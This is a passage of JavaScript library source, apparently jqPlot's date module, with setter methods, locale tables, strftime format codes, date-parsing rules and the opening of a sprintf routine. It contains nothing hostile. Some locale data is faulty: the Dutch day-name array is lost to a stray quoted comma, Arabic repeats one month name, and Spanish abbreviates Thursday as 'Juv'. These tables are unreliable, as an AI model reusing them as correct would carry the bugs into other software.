this.proxy.setFullYear.apply( this.proxy, a.slice(0,3) ); if ( a.slice(3).length ) { this.proxy.setHours.apply( this.proxy, a.slice(3) ); } break; } return this; }; /** * Sets the day of the month for a specified date according to local time. * @param {Integer} dayValue An integer from 1 to 31, representing the day of the month. */ jsDate.prototype.setDate = function(n) { this.proxy.setDate(n); return this; }; /** * Sets the full year for a specified date according to local time. * @param {Integer} yearValue The numeric value of the year, for example, 1995. * @param {Integer} monthValue Optional, between 0 and 11 representing the months January through December. * @param {Integer} dayValue Optional, between 1 and 31 representing the day of the month. If you specify the dayValue parameter, you must also specify the monthValue. */ jsDate.prototype.setFullYear = function() { this.proxy.setFullYear.apply(this.proxy, arguments); return this; }; /** * Sets the hours for a specified date according to local time. * * @param {Integer} hoursValue An integer between 0 and 23, representing the hour. * @param {Integer} minutesValue Optional, An integer between 0 and 59, representing the minutes. * @param {Integer} secondsValue Optional, An integer between 0 and 59, representing the seconds. * If you specify the secondsValue parameter, you must also specify the minutesValue. * @param {Integer} msValue Optional, A number between 0 and 999, representing the milliseconds. * If you specify the msValue parameter, you must also specify the minutesValue and secondsValue. */ jsDate.prototype.setHours = function() { this.proxy.setHours.apply(this.proxy, arguments); return this; }; /** * Implements Date functionality */ jsDate.prototype.setMilliseconds = function(n) { this.proxy.setMilliseconds(n); return this; }; /** * Implements Date functionality */ jsDate.prototype.setMinutes = function() { this.proxy.setMinutes.apply(this.proxy, arguments); return this; }; /** * Implements Date functionality */ jsDate.prototype.setMonth = function() { this.proxy.setMonth.apply(this.proxy, arguments); return this; }; /** * Implements Date functionality */ jsDate.prototype.setSeconds = function() { this.proxy.setSeconds.apply(this.proxy, arguments); return this; }; /** * Implements Date functionality */ jsDate.prototype.setTime = function(n) { this.proxy.setTime(n); return this; }; /** * Implements Date functionality */ jsDate.prototype.setYear = function() { this.proxy.setYear.apply(this.proxy, arguments); return this; }; /** * Provide a formatted string representation of this date. * * @param {String} formatString A format string. * See: {@link jsDate.formats}. * @returns {String} Date String. */ jsDate.prototype.strftime = function(formatString) { formatString = formatString || this.formatString || jsDate.regional[this.locale]['formatString']; return jsDate.strftime(this, formatString, this.syntax); }; /** * Return a String representation of this jsDate object. * @returns {String} Date string. */ jsDate.prototype.toString = function() { return this.proxy.toString(); }; /** * Convert the current date to an 8-digit integer (%Y%m%d) * * @returns {Integer} */ jsDate.prototype.toYmdInt = function() { return (this.proxy.getFullYear() * 10000) + (this.getMonthNumber() * 100) + this.proxy.getDate(); }; /** * @namespace Holds localizations for month/day names. * <p>jsDate attempts to detect locale when loaded and defaults to 'en'. * If a localization is detected which is not available, jsDate defaults to 'en'. * Additional localizations can be added after jsDate loads. After adding a localization, * call the jsDate.regional.getLocale() method. Currently, en, fr and de are defined.</p> * * <p>Localizations must be an object and have the following properties defined: monthNames, monthNamesShort, dayNames, dayNamesShort and Localizations are added like:</p> * <pre class="code"> * jsDate.regional['en'] = { * monthNames : 'January February March April May June July August September October November December'.split(' '), * monthNamesShort : 'Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec'.split(' '), * dayNames : 'Sunday Monday Tuesday Wednesday Thursday Friday Saturday'.split(' '), * dayNamesShort : 'Sun Mon Tue Wed Thu Fri Sat'.split(' ') * }; * </pre> * <p>After adding localizations, call <code>jsDate.regional.getLocale();</code> to update the locale setting with the * new localizations.</p> */ jsDate.regional = { 'en': { monthNames: ['January','February','March','April','May','June','July','August','September','October','November','December'], monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun','Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], formatString: '%Y-%m-%d %H:%M:%S' }, 'fr': { monthNames: ['Janvier','Février','Mars','Avril','Mai','Juin','Juillet','Août','Septembre','Octobre','Novembre','Décembre'], monthNamesShort: ['Jan','Fév','Mar','Avr','Mai','Jun','Jul','Aoû','Sep','Oct','Nov','Déc'], dayNames: ['Dimanche','Lundi','Mardi','Mercredi','Jeudi','Vendredi','Samedi'], dayNamesShort: ['Dim','Lun','Mar','Mer','Jeu','Ven','Sam'], formatString: '%Y-%m-%d %H:%M:%S' }, 'de': { monthNames: ['Januar','Februar','März','April','Mai','Juni','Juli','August','September','Oktober','November','Dezember'], monthNamesShort: ['Jan','Feb','Mär','Apr','Mai','Jun','Jul','Aug','Sep','Okt','Nov','Dez'], dayNames: ['Sonntag','Montag','Dienstag','Mittwoch','Donnerstag','Freitag','Samstag'], dayNamesShort: ['So','Mo','Di','Mi','Do','Fr','Sa'], formatString: '%Y-%m-%d %H:%M:%S' }, 'es': { monthNames: ['Enero','Febrero','Marzo','Abril','Mayo','Junio', 'Julio','Agosto','Septiembre','Octubre','Noviembre','Diciembre'], monthNamesShort: ['Ene','Feb','Mar','Abr','May','Jun', 'Jul','Ago','Sep','Oct','Nov','Dic'], dayNames: ['Domingo','Lunes','Martes','Miércoles','Jueves','Viernes','Sábado'], dayNamesShort: ['Dom','Lun','Mar','Mié','Juv','Vie','Sáb'], formatString: '%Y-%m-%d %H:%M:%S' }, 'ru': { monthNames: ['Январь','Февраль','Март','Апрель','Май','Июнь','Июль','Август','Сентябрь','Октябрь','Ноябрь','Декабрь'], monthNamesShort: ['Янв','Фев','Мар','Апр','Май','Июн','Июл','Авг','Сен','Окт','Ноя','Дек'], dayNames: ['воскресенье','понедельник','вторник','среда','четверг','пятница','суббота'], dayNamesShort: ['вск','пнд','втр','срд','чтв','птн','сбт'], formatString: '%Y-%m-%d %H:%M:%S' }, 'ar': { monthNames: ['كانون الثاني', 'شباط', 'آذار', 'نيسان', 'آذار', 'حزيران','تموز', 'آب', 'أيلول', 'تشرين الأول', 'تشرين الثاني', 'كانون الأول'], monthNamesShort: ['1','2','3','4','5','6','7','8','9','10','11','12'], dayNames: ['السبت', 'الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة'], dayNamesShort: ['سبت', 'أحد', 'اثنين', 'ثلاثاء', 'أربعاء', 'خميس', 'جمعة'], formatString: '%Y-%m-%d %H:%M:%S' }, 'pt': { monthNames: ['Janeiro','Fevereiro','Março','Abril','Maio','Junho','Julho','Agosto','Setembro','Outubro','Novembro','Dezembro'], monthNamesShort: ['Jan','Fev','Mar','Abr','Mai','Jun','Jul','Ago','Set','Out','Nov','Dez'], dayNames: ['Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado'], dayNamesShort: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], formatString: '%Y-%m-%d %H:%M:%S' }, 'pt-BR': { monthNames: ['Janeiro','Fevereiro','Março','Abril','Maio','Junho', 'Julho','Agosto','Setembro','Outubro','Novembro','Dezembro'], monthNamesShort: ['Jan','Fev','Mar','Abr','Mai','Jun','Jul','Ago','Set','Out','Nov','Dez'], dayNames: ['Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado'], dayNamesShort: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], formatString: '%Y-%m-%d %H:%M:%S' }, 'pl': { monthNames: ['Styczeń','Luty','Marzec','Kwiecień','Maj','Czerwiec','Lipiec','Sierpień','Wrzesień','Październik','Listopad','Grudzień'], monthNamesShort: ['Sty', 'Lut', 'Mar', 'Kwi', 'Maj', 'Cze','Lip', 'Sie', 'Wrz', 'Paź', 'Lis', 'Gru'], dayNames: ['Niedziela', 'Poniedziałek', 'Wtorek', 'Środa', 'Czwartek', 'Piątek', 'Sobota'], dayNamesShort: ['Ni', 'Pn', 'Wt', 'Śr', 'Cz', 'Pt', 'Sb'], formatString: '%Y-%m-%d %H:%M:%S' }, 'nl': { monthNames: ['Januari','Februari','Maart','April','Mei','Juni','July','Augustus','September','Oktober','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Mei','Jun','Jul','Aug','Sep','Okt','Nov','Dec'], dayNames:','['Zondag','Maandag','Dinsdag','Woensdag','Donderdag','Vrijdag','Zaterdag'], dayNamesShort: ['Zo','Ma','Di','Wo','Do','Vr','Za'], formatString: '%Y-%m-%d %H:%M:%S' }, 'sv': { monthNames: ['januari','februari','mars','april','maj','juni','juli','augusti','september','oktober','november','december'], monthNamesShort: ['jan','feb','mar','apr','maj','jun','jul','aug','sep','okt','nov','dec'], dayNames: ['söndag','måndag','tisdag','onsdag','torsdag','fredag','lördag'], dayNamesShort: ['sön','mån','tis','ons','tor','fre','lör'], formatString: '%Y-%m-%d %H:%M:%S' }, 'it': { monthNames: ['Gennaio','Febbraio','Marzo','Aprile','Maggio','Giugno','Luglio','Agosto','Settembre','Ottobre','Novembre','Dicembre'], monthNamesShort: ['Gen','Feb','Mar','Apr','Mag','Giu','Lug','Ago','Set','Ott','Nov','Dic'], dayNames: ['Domenica','Lunedi','Martedi','Mercoledi','Giovedi','Venerdi','Sabato'], dayNamesShort: ['Dom','Lun','Mar','Mer','Gio','Ven','Sab'], formatString: '%d-%m-%Y %H:%M:%S' } }; // Set english variants to 'en' jsDate.regional['en-US'] = jsDate.regional['en-GB'] = jsDate.regional['en']; /** * Try to determine the users locale based on the lang attribute of the html page. Defaults to 'en' * if it cannot figure out a locale of if the locale does not have a localization defined. * @returns {String} locale */ jsDate.regional.getLocale = function () { var l = jsDate.config.defaultLocale; if ( document && document.getElementsByTagName('html') && document.getElementsByTagName('html')[0].lang ) { l = document.getElementsByTagName('html')[0].lang; if (!jsDate.regional.hasOwnProperty(l)) { l = jsDate.config.defaultLocale; } } return l; }; // ms in day var day = 24 * 60 * 60 * 1000; // padd a number with zeros var addZeros = function(num, digits) { num = String(num); var i = digits - num.length; var s = String(Math.pow(10, i)).slice(1); return s.concat(num); }; // representations used for calculating differences between dates. // This borrows heavily from Ken Snyder's work. var multipliers = { millisecond: 1, second: 1000, minute: 60 * 1000, hour: 60 * 60 * 1000, day: day, week: 7 * day, month: { // add a number of months add: function(d, number) { // add any years needed (increments of 12) multipliers.year.add(d, Math[number > 0 ? 'floor' : 'ceil'](number / 12)); // ensure that we properly wrap betwen December and January // 11 % 12 = 11 // 12 % 12 = 0 var prevMonth = d.getMonth() + (number % 12); if (prevMonth == 12) { prevMonth = 0; d.setYear(d.getFullYear() + 1); } else if (prevMonth == -1) { prevMonth = 11; d.setYear(d.getFullYear() - 1); } d.setMonth(prevMonth); }, // get the number of months between two Date objects (decimal to the nearest day) diff: function(d1, d2) { // get the number of years var diffYears = d1.getFullYear() - d2.getFullYear(); // get the number of remaining months var diffMonths = d1.getMonth() - d2.getMonth() + (diffYears * 12); // get the number of remaining days var diffDays = d1.getDate() - d2.getDate(); // return the month difference with the days difference as a decimal return diffMonths + (diffDays / 30); } }, year: { // add a number of years add: function(d, number) { d.setYear(d.getFullYear() + Math[number > 0 ? 'floor' : 'ceil'](number)); }, // get the number of years between two Date objects (decimal to the nearest day) diff: function(d1, d2) { return multipliers.month.diff(d1, d2) / 12; } } }; // // Alias each multiplier with an 's' to allow 'year' and 'years' for example. // This comes from Ken Snyders work. // for (var unit in multipliers) { if (unit.substring(unit.length - 1) != 's') { // IE will iterate newly added properties :| multipliers[unit + 's'] = multipliers[unit]; } } // // take a jsDate instance and a format code and return the formatted value. // This is a somewhat modified version of Ken Snyder's method. // var format = function(d, code, syntax) { // if shorcut codes are used, recursively expand those. if (jsDate.formats[syntax]["shortcuts"][code]) { return jsDate.strftime(d, jsDate.formats[syntax]["shortcuts"][code], syntax); } else { // get the format code function and addZeros() argument var getter = (jsDate.formats[syntax]["codes"][code] || '').split('.'); var nbr = d['get' + getter[0]] ? d['get' + getter[0]]() : ''; if (getter[1]) { nbr = addZeros(nbr, getter[1]); } return nbr; } }; /** * @static * Static function for convert a date to a string according to a given format. Also acts as namespace for strftime format codes. * <p>strftime formatting can be accomplished without creating a jsDate object by calling jsDate.strftime():</p> * <pre class="code"> * var formattedDate = jsDate.strftime('Feb 8, 2006 8:48:32', '%Y-%m-%d %H:%M:%S'); * </pre> * @param {String | Number | Array | jsDate Object | Date Object} date A parsable date string, JavaScript time stamp, Array of form [year, month, day, hours, minutes, seconds, milliseconds], jsDate Object or Date object. * @param {String} formatString String with embedded date formatting codes. * See: {@link jsDate.formats}. * @param {String} syntax Optional syntax to use [default perl]. * @param {String} locale Optional locale to use. * @returns {String} Formatted representation of the date. */ // // Logic as implemented here is very similar to Ken Snyder's Date Instance Methods. // jsDate.strftime = function(d, formatString, syntax, locale) { var syn = 'perl'; var loc = jsDate.regional.getLocale(); // check if syntax and locale are available or reversed if (syntax && jsDate.formats.hasOwnProperty(syntax)) { syn = syntax; } else if (syntax && jsDate.regional.hasOwnProperty(syntax)) { loc = syntax; } if (locale && jsDate.formats.hasOwnProperty(locale)) { syn = locale; } else if (locale && jsDate.regional.hasOwnProperty(locale)) { loc = locale; } if (get_type(d) != "[object Object]" || d._type != "jsDate") { d = new jsDate(d); d.locale = loc; } if (!formatString) { formatString = d.formatString || jsDate.regional[loc]['formatString']; } // default the format string to year-month-day var source = formatString || '%Y-%m-%d', result = '', match; // replace each format code while (source.length > 0) { if (match = source.match(jsDate.formats[syn].codes.matcher)) { result += source.slice(0, match.index); result += (match[1] || '') + format(d, match[2], syn); source = source.slice(match.index + match[0].length); } else { result += source; source = ''; } } return result; }; /** * @namespace * Namespace to hold format codes and format shortcuts. "perl" and "php" format codes * and shortcuts are defined by default. Additional codes and shortcuts can be * added like: * * <pre class="code"> * jsDate.formats["perl"] = { * "codes": { * matcher: /someregex/, * Y: "fullYear", // name of "get" method without the "get", * ..., // more codes * }, * "shortcuts": { * F: '%Y-%m-%d', * ..., // more shortcuts * } * }; * </pre> * * <p>Additionally, ISO and SQL shortcuts are defined and can be accesses via: * <code>jsDate.formats.ISO</code> and <code>jsDate.formats.SQL</code> */ jsDate.formats = { ISO:'%Y-%m-%dT%H:%M:%S.%N%G', SQL:'%Y-%m-%d %H:%M:%S' }; /** * Perl format codes and shortcuts for strftime. * * A hash (object) of codes where each code must be an array where the first member is * the name of a Date.prototype or jsDate.prototype function to call * and optionally a second member indicating the number to pass to addZeros() * * <p>The following format codes are defined:</p> * * <pre class="code"> * Code Result Description * == Years == * %Y 2008 Four-digit year * %y 08 Two-digit year * * == Months == * %m 09 Two-digit month * %#m 9 One or two-digit month * %B September Full month name * %b Sep Abbreviated month name * * == Days == * %d 05 Two-digit day of month * %#d 5 One or two-digit day of month * %e 5 One or two-digit day of month * %A Sunday Full name of the day of the week * %a Sun Abbreviated name of the day of the week * %w 0 Number of the day of the week (0 = Sunday, 6 = Saturday) * * == Hours == * %H 23 Hours in 24-hour format (two digits) * %#H 3 Hours in 24-hour integer format (one or two digits) * %I 11 Hours in 12-hour format (two digits) * %#I 3 Hours in 12-hour integer format (one or two digits) * %p PM AM or PM * * == Minutes == * %M 09 Minutes (two digits) * %#M 9 Minutes (one or two digits) * * == Seconds == * %S 02 Seconds (two digits) * %#S 2 Seconds (one or two digits) * %s 1206567625723 Unix timestamp (Seconds past 1970-01-01 00:00:00) * * == Milliseconds == * %N 008 Milliseconds (three digits) * %#N 8 Milliseconds (one to three digits) * * == Timezone == * %O 360 difference in minutes between local time and GMT * %Z Mountain Standard Time Name of timezone as reported by browser * %G 06:00 Hours and minutes between GMT * * == Shortcuts == * %F 2008-03-26 %Y-%m-%d * %T 05:06:30 %H:%M:%S * %X 05:06:30 %H:%M:%S * %x 03/26/08 %m/%d/%y * %D 03/26/08 %m/%d/%y * %#c Wed Mar 26 15:31:00 2008 %a %b %e %H:%M:%S %Y * %v 3-Sep-2008 %e-%b-%Y * %R 15:31 %H:%M * %r 03:31:00 PM %I:%M:%S %p * * == Characters == * %n \n Newline * %t \t Tab * %% % Percent Symbol * </pre> * * <p>Formatting shortcuts that will be translated into their longer version. * Be sure that format shortcuts do not refer to themselves: this will cause an infinite loop.</p> * * <p>Format codes and format shortcuts can be redefined after the jsDate * module is imported.</p> * * <p>Note that if you redefine the whole hash (object), you must supply a "matcher" * regex for the parser. The default matcher is:</p> * * <code>/()%(#?(%|[a-z]))/i</code> * * <p>which corresponds to the Perl syntax used by default.</p> * * <p>By customizing the matcher and format codes, nearly any strftime functionality is possible.</p> */ jsDate.formats.perl = { codes: { // // 2-part regex matcher for format codes // // first match must be the character before the code (to account for escaping) // second match must be the format code character(s) // matcher: /()%(#?(%|[a-z]))/i, // year Y: 'FullYear', y: 'ShortYear.2', // month m: 'MonthNumber.2', '#m': 'MonthNumber', B: 'MonthName', b: 'AbbrMonthName', // day d: 'Date.2', '#d': 'Date', e: 'Date', A: 'DayName', a: 'AbbrDayName', w: 'Day', // hours H: 'Hours.2', '#H': 'Hours', I: 'Hours12.2', '#I': 'Hours12', p: 'AMPM', // minutes M: 'Minutes.2', '#M': 'Minutes', // seconds S: 'Seconds.2', '#S': 'Seconds', s: 'Unix', // milliseconds N: 'Milliseconds.3', '#N': 'Milliseconds', // timezone O: 'TimezoneOffset', Z: 'TimezoneName', G: 'GmtOffset' }, shortcuts: { // date F: '%Y-%m-%d', // time T: '%H:%M:%S', X: '%H:%M:%S', // local format date x: '%m/%d/%y', D: '%m/%d/%y', // local format extended '#c': '%a %b %e %H:%M:%S %Y', // local format short v: '%e-%b-%Y', R: '%H:%M', r: '%I:%M:%S %p', // tab and newline t: '\t', n: '\n', '%': '%' } }; /** * PHP format codes and shortcuts for strftime. * * A hash (object) of codes where each code must be an array where the first member is * the name of a Date.prototype or jsDate.prototype function to call * and optionally a second member indicating the number to pass to addZeros() * * <p>The following format codes are defined:</p> * * <pre class="code"> * Code Result Description * === Days === * %a Sun through Sat An abbreviated textual representation of the day * %A Sunday - Saturday A full textual representation of the day * %d 01 to 31 Two-digit day of the month (with leading zeros) * %e 1 to 31 Day of the month, with a space preceding single digits. * %j 001 to 366 Day of the year, 3 digits with leading zeros * %u 1 - 7 (Mon - Sun) ISO-8601 numeric representation of the day of the week * %w 0 - 6 (Sun - Sat) Numeric representation of the day of the week * * === Week === * %U 13 Full Week number, starting with the first Sunday as the first week * %V 01 through 53 ISO-8601:1988 week number, starting with the first week of the year * with at least 4 weekdays, with Monday being the start of the week * %W 46 A numeric representation of the week of the year, * starting with the first Monday as the first week * === Month === * %b Jan through Dec Abbreviated month name, based on the locale * %B January - December Full month name, based on the locale * %h Jan through Dec Abbreviated month name, based on the locale (an alias of %b) * %m 01 - 12 (Jan - Dec) Two digit representation of the month * * === Year === * %C 19 Two digit century (year/100, truncated to an integer) * %y 09 for 2009 Two digit year * %Y 2038 Four digit year * * === Time === * %H 00 through 23 Two digit representation of the hour in 24-hour format * %I 01 through 12 Two digit representation of the hour in 12-hour format * %l 1 through 12 Hour in 12-hour format, with a space preceeding single digits * %M 00 through 59 Two digit representation of the minute * %p AM/PM UPPER-CASE 'AM' or 'PM' based on the given time * %P am/pm lower-case 'am' or 'pm' based on the given time * %r 09:34:17 PM Same as %I:%M:%S %p * %R 00:35 Same as %H:%M * %S 00 through 59 Two digit representation of the second * %T 21:34:17 Same as %H:%M:%S * %X 03:59:16 Preferred time representation based on locale, without the date * %z -0500 or EST Either the time zone offset from UTC or the abbreviation * %Z -0500 or EST The time zone offset/abbreviation option NOT given by %z * * === Time and Date === * %D 02/05/09 Same as %m/%d/%y * %F 2009-02-05 Same as %Y-%m-%d (commonly used in database datestamps) * %s 305815200 Unix Epoch Time timestamp (same as the time() function) * %x 02/05/09 Preferred date representation, without the time * * === Miscellaneous === * %n --- A newline character (\n) * %t --- A Tab character (\t) * %% --- A literal percentage character (%) * </pre> */ jsDate.formats.php = { codes: { // // 2-part regex matcher for format codes // // first match must be the character before the code (to account for escaping) // second match must be the format code character(s) // matcher: /()%((%|[a-z]))/i, // day a: 'AbbrDayName', A: 'DayName', d: 'Date.2', e: 'Date', j: 'DayOfYear.3', u: 'DayOfWeek', w: 'Day', // week U: 'FullWeekOfYear.2', V: 'IsoWeek.2', W: 'WeekOfYear.2', // month b: 'AbbrMonthName', B: 'MonthName', m: 'MonthNumber.2', h: 'AbbrMonthName', // year C: 'Century.2', y: 'ShortYear.2', Y: 'FullYear', // time H: 'Hours.2', I: 'Hours12.2', l: 'Hours12', p: 'AMPM', P: 'AmPm', M: 'Minutes.2', S: 'Seconds.2', s: 'Unix', O: 'TimezoneOffset', z: 'GmtOffset', Z: 'TimezoneAbbr' }, shortcuts: { D: '%m/%d/%y', F: '%Y-%m-%d', T: '%H:%M:%S', X: '%H:%M:%S', x: '%m/%d/%y', R: '%H:%M', r: '%I:%M:%S %p', t: '\t', n: '\n', '%': '%' } }; // // Conceptually, the logic implemented here is similar to Ken Snyder's Date Instance Methods. // I use his idea of a set of parsers which can be regular expressions or functions, // iterating through those, and then seeing if Date.parse() will create a date. // The parser expressions and functions are a little different and some bugs have been // worked out. Also, a lot of "pre-parsing" is done to fix implementation // variations of Date.parse() between browsers. // jsDate.createDate = function(date) { // if passing in multiple arguments, try Date constructor if (date == null) { return new Date(); } // If the passed value is already a date object, return it if (date instanceof Date) { return date; } // if (typeof date == 'number') return new Date(date * 1000); // If the passed value is an integer, interpret it as a javascript timestamp if (typeof date == 'number') { return new Date(date); } // Before passing strings into Date.parse(), have to normalize them for certain conditions. // If strings are not formatted staccording to the EcmaScript spec, results from Date parse will be implementation dependent. // // For example: // * FF and Opera assume 2 digit dates are pre y2k, Chome assumes <50 is pre y2k, 50+ is 21st century. // * Chrome will correctly parse '1984-1-25' into localtime, FF and Opera will not parse. // * Both FF, Chrome and Opera will parse '1984/1/25' into localtime. // remove leading and trailing spaces var parsable = String(date).replace(/^\s*(.+)\s*$/g, '$1'); // replace dahses (-) with slashes (/) in dates like n[nnn]/n[n]/n[nnn] parsable = parsable.replace(/^([0-9]{1,4})-([0-9]{1,2})-([0-9]{1,4})/, "$1/$2/$3"); ///////// // Need to check for '15-Dec-09' also. // FF will not parse, but Chrome will. // Chrome will set date to 2009 as well. ///////// // first check for 'dd-mmm-yyyy' or 'dd/mmm/yyyy' like '15-Dec-2010' parsable = parsable.replace(/^(3[01]|[0-2]?\d)[-\/]([a-z]{3,})[-\/](\d{4})/i, "$1 $2 $3"); // Now check for 'dd-mmm-yy' or 'dd/mmm/yy' and normalize years to default century. var match = parsable.match(/^(3[01]|[0-2]?\d)[-\/]([a-z]{3,})[-\/](\d{2})\D*/i); if (match && match.length > 3) { var m3 = parseFloat(match[3]); var ny = jsDate.config.defaultCentury + m3; ny = String(ny); // now replace 2 digit year with 4 digit year parsable = parsable.replace(/^(3[01]|[0-2]?\d)[-\/]([a-z]{3,})[-\/](\d{2})\D*/i, match[1] +' '+ match[2] +' '+ ny); } // Check for '1/19/70 8:14PM' // where starts with mm/dd/yy or yy/mm/dd and have something after // Check if 1st postiion is greater than 31, assume it is year. // Assme all 2 digit years are 1900's. // Finally, change them into US style mm/dd/yyyy representations. match = parsable.match(/^([0-9]{1,2})[-\/]([0-9]{1,2})[-\/]([0-9]{1,2})[^0-9]/); function h1(parsable, match) { var m1 = parseFloat(match[1]); var m2 = parseFloat(match[2]); var m3 = parseFloat(match[3]); var cent = jsDate.config.defaultCentury; var ny, nd, nm, str; if (m1 > 31) { // first number is a year nd = m3; nm = m2; ny = cent + m1; } else { // last number is the year nd = m2; nm = m1; ny = cent + m3; } str = nm+'/'+nd+'/'+ny; // now replace 2 digit year with 4 digit year return parsable.replace(/^([0-9]{1,2})[-\/]([0-9]{1,2})[-\/]([0-9]{1,2})/, str); } if (match && match.length > 3) { parsable = h1(parsable, match); } // Now check for '1/19/70' with nothing after and do as above var match = parsable.match(/^([0-9]{1,2})[-\/]([0-9]{1,2})[-\/]([0-9]{1,2})$/); if (match && match.length > 3) { parsable = h1(parsable, match); } var i = 0; var length = jsDate.matchers.length; var pattern, ms, current = parsable, obj; while (i < length) { ms = Date.parse(current); if (!isNaN(ms)) { return new Date(ms); } pattern = jsDate.matchers[i]; if (typeof pattern == 'function') { obj = pattern.call(jsDate, current); if (obj instanceof Date) { return obj; } } else { current = parsable.replace(pattern[0], pattern[1]); } i++; } return NaN; }; /** * @static * Handy static utility function to return the number of days in a given month. * @param {Integer} year Year * @param {Integer} month Month (1-12) * @returns {Integer} Number of days in the month. */ // // handy utility method Borrowed right from Ken Snyder's Date Instance Mehtods. // jsDate.daysInMonth = function(year, month) { if (month == 2) { return new Date(year, 1, 29).getDate() == 29 ? 29 : 28; } return [undefined,31,undefined,31,30,31,30,31,31,30,31,30,31][month]; }; // // An Array of regular expressions or functions that will attempt to match the date string. // Functions are called with scope of a jsDate instance. // jsDate.matchers = [ // convert dd.mmm.yyyy to mm/dd/yyyy (world date to US date). [/(3[01]|[0-2]\d)\s*\.\s*(1[0-2]|0\d)\s*\.\s*([1-9]\d{3})/, '$2/$1/$3'], // convert yyyy-mm-dd to mm/dd/yyyy (ISO date to US date). [/([1-9]\d{3})\s*-\s*(1[0-2]|0\d)\s*-\s*(3[01]|[0-2]\d)/, '$2/$3/$1'], // Handle 12 hour or 24 hour time with milliseconds am/pm and optional date part. function(str) { var match = str.match(/^(?:(.+)\s+)?([012]?\d)(?:\s*\:\s*(\d\d))?(?:\s*\:\s*(\d\d(\.\d*)?))?\s*(am|pm)?\s*$/i); // opt. date hour opt. minute opt. second opt. msec opt. am or pm if (match) { if (match[1]) { var d = this.createDate(match[1]); if (isNaN(d)) { return; } } else { var d = new Date(); d.setMilliseconds(0); } var hour = parseFloat(match[2]); if (match[6]) { hour = match[6].toLowerCase() == 'am' ? (hour == 12 ? 0 : hour) : (hour == 12 ? 12 : hour + 12); } d.setHours(hour, parseInt(match[3] || 0, 10), parseInt(match[4] || 0, 10), ((parseFloat(match[5] || 0)) || 0)*1000); return d; } else { return str; } }, // Handle ISO timestamp with time zone. function(str) { var match = str.match(/^(?:(.+))[T|\s+]([012]\d)(?:\:(\d\d))(?:\:(\d\d))(?:\.\d+)([\+\-]\d\d\:\d\d)$/i); if (match) { if (match[1]) { var d = this.createDate(match[1]); if (isNaN(d)) { return; } } else { var d = new Date(); d.setMilliseconds(0); } var hour = parseFloat(match[2]); d.setHours(hour, parseInt(match[3], 10), parseInt(match[4], 10), parseFloat(match[5])*1000); return d; } else { return str; } }, // Try to match ambiguous strings like 12/8/22. // Use FF date assumption that 2 digit years are 20th century (i.e. 1900's). // This may be redundant with pre processing of date already performed. function(str) { var match = str.match(/^([0-3]?\d)\s*[-\/.\s]{1}\s*([a-zA-Z]{3,9})\s*[-\/.\s]{1}\s*([0-3]?\d)$/); if (match) { var d = new Date(); var cent = jsDate.config.defaultCentury; var m1 = parseFloat(match[1]); var m3 = parseFloat(match[3]); var ny, nd, nm; if (m1 > 31) { // first number is a year nd = m3; ny = cent + m1; } else { // last number is the year nd = m1; ny = cent + m3; } var nm = inArray(match[2], jsDate.regional[jsDate.regional.getLocale()]["monthNamesShort"]); if (nm == -1) { nm = inArray(match[2], jsDate.regional[jsDate.regional.getLocale()]["monthNames"]); } d.setFullYear(ny, nm, nd); d.setHours(0,0,0,0); return d; } else { return str; } } ]; // // I think John Reisig published this method on his blog, ejohn. // function inArray( elem, array ) { if ( array.indexOf ) { return array.indexOf( elem ); } for ( var i = 0, length = array.length; i < length; i++ ) { if ( array[ i ] === elem ) { return i; } } return -1; } // // Thanks to Kangax, Christian Sciberras and Stack Overflow for this method. // function get_type(thing){ if(thing===null) return "[object Null]"; // special case return Object.prototype.toString.call(thing); } $.jsDate = jsDate; /** * JavaScript printf/sprintf functions. * * This code has been adapted from the publicly available sprintf methods * by Ash Searle. His original header follows: * * This code is unrestricted: you are free to use it however you like. * * The functions should work as expected, performing left or right alignment, * truncating strings, outputting numbers with a required precision etc. * * For complex cases, these functions follow the Perl implementations of * (s)printf, allowing arguments to be passed out-of-order, and to set the * precision or length of the output based on arguments instead of fixed * numbers. * * See http://perldoc.perl.org/functions/sprintf.html for more information. * * Implemented: * - zero and space-padding * - right and left-alignment, * - base X prefix (binary, octal and hex) * - positive number prefix * - (minimum) width * - precision / truncation / maximum width * - out of order arguments * * Not implemented (yet): * - vector flag * - size (bytes, words, long-words etc.) * * Will not implement: * - %n or %p (no pass-by-reference in JavaScript) * * @version 2007.04.27 * @author Ash Searle * * You can see the original work and comments on his blog: * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js */ /** * @Modifications 2009.05.26 * @author Chris Leonello * * Added %p %P specifier * Acts like %g or %G but will not add more significant digits to the output than present in the input. * Example: * Format: '%.3p', Input: 0.012, Output: 0.012 * Format: '%.3g', Input: 0.012, Output: 0.0120 * Format: '%.4p', Input: 12.0, Output: 12.0 * Format: '%.4g', Input: 12.0, Output: 12.00 * Format: '%.4p', Input: 4.321e-5, Output: 4.321e-5 * Format: '%.4g', Input: 4.321e-5, Output: 4.3210e-5 * * Example: * >>> $.jqplot.sprintf('%.2f, %d', 23.3452, 43.23) * "23.35, 43" * >>> $.jqplot.sprintf("no value: %n, decimal with thousands separator: %'d", 23.3452, 433524) * "no value: , decimal with thousands separator: 433,524" */ $.jqplot.sprintf = function() { function pad(str, len, chr, leftJustify) { var padding = (str.length >= len) ? '' : Array(1 + len - str.length >>> 0).join(chr); return leftJustify ? str + padding : padding + str; } function thousand_separate(value) { var value_str = new String(value); for (var i=10; i>0; i--) { if (value_str == (value_str = value_str.replace(/^(\d+)(\d{3})/, "$1"+$.jqplot.sprintf.thousandsSeparator+"$2"))) break; } return value_str; } function justify(value, prefix, leftJustify, minWidth, zeroPad, htmlSpace) { var diff = minWidth - value.length; if (diff > 0) { var spchar = ' '; if (htmlSpace) { spchar = ' '; } if (leftJustify || !zeroPad) { value = pad(value, minWidth, spchar, 